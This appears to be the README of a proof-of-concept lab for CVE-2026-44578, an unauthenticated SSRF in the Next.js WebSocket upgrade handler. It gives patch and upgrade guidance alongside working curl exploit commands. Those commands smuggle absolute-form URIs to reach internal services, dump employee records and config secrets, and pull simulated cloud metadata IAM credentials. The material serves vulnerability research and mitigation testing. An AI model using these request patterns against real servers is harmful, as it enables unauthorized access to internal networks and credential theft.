
Proof-of-concept exploit for CVE-2026-44578 that reproduces the vulnerable condition, enabling security researchers to validate affected systems and assess mitigations.
| Item | Details |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (High) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Affected Versions | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Patched Versions | 15.5.16+, 16.2.5+ |
| Authentication Required | None (Unauthenticated) |
Next.js's WebSocket upgrade handler (upgradeHandler) proxies absolute-form URIs (RFC 7230 §5.3.2) inserted into the HTTP request line to internal services without validation.
This allows arbitrary HTTP requests to be sent to internal services that are inaccessible from the outside (SSRF).
[Attacker]
│
│ WebSocket Upgrade request
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← externally exposed
│
│ unvalidated proxy (proxyRequest)
▼
[internal-svc :80] ← internal network only, no direct external access
│
├── GET /api/v1/employees → employee DB (name·email·salary·pw_hash)
├── GET /api/v1/config → DB password·JWT secret·Redis password
└── GET /latest/meta-data/… → AWS IMDS simulation (IAM credentials)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, vulnerable version) └── internal-svc (FastAPI + SQLite, internal network only)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
After the build completes, it takes 30–60 seconds for Next.js to be ready.
Verify readiness:
curl -s http://localhost:3000/api/hello | grep ok
Normal HTTP requests only include a path in the form GET /path HTTP/1.1,
but RFC 7230 §5.3.2 allows absolute-form, which places the full URL in the request line.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js's upgradeHandler parses this URL and, if parsedUrl.protocol exists,
calls proxyRequest() without destination validation.
The curl --request-target option can be used to specify the request line directly.
curl -s --connect-timeout 3 http://internal-svc/health
# → connection failed (internal network cannot be reached directly from outside)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ Returns all names·emails·salaries·bcrypt hashes
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: Enumerate IAM role names
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: Exfiltrate credentials
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — vulnerable
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← no destination validation
return await proxyRequest(req, socket, parsedUrl, head);
}
As long as parsedUrl.protocol exists, it proxies immediately. Whether the target host is an internal IP or
IMDS (169.254.169.254), it is always forwarded.
15.5.16+)// Next.js 15.5.16+ — patched
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished guard added
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished is only true when the request matches a normal route inside resolveRoutes.
Since absolute-form URIs do not match normal routes, finished === false → proxy is blocked.
patch-for-lab.js)In the reproduction environment, resolve-routes.js misinterprets :// as consecutive slashes and
collapses http://host/path to http:/host/path, which inadvertently blocks the SSRF.
patch-for-lab.js disables this behavior so the vulnerability can be reproduced normally.
# 15.x series
npm install next@">=15.5.16"
# 16.x series
npm install next@">=16.2.5"
# Verify version
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# or pin "next": "15.5.16" in package.json, then
RUN npm ci
Apply the official patch logic to the current version using the included patch-defense.js:
# Inside the lab container
node patch-defense.js
# Check status only (no file modification)
node patch-defense.js --check
After applying the patch, SSRF requests are blocked without a response.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes patch (for SSRF reproduction) │ ├── patch-defense.js # router-server defense patch (proves code-level defense) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI internal service (SQLite + IMDS simulation) │ └── requirements.txt └── exploit/ └── demo.sh # 6-stage automated demo script
This repository is provided solely for security education and vulnerability research purposes.
Using it for unauthorized attacks against real services is illegal, and
all testing must be performed only in environments you own or have explicit permission to test.
This repository is intended solely for educational and authorized security research.
Unauthorized use against production systems is illegal.
All testing must be performed only in environments you own or have explicit permission to test.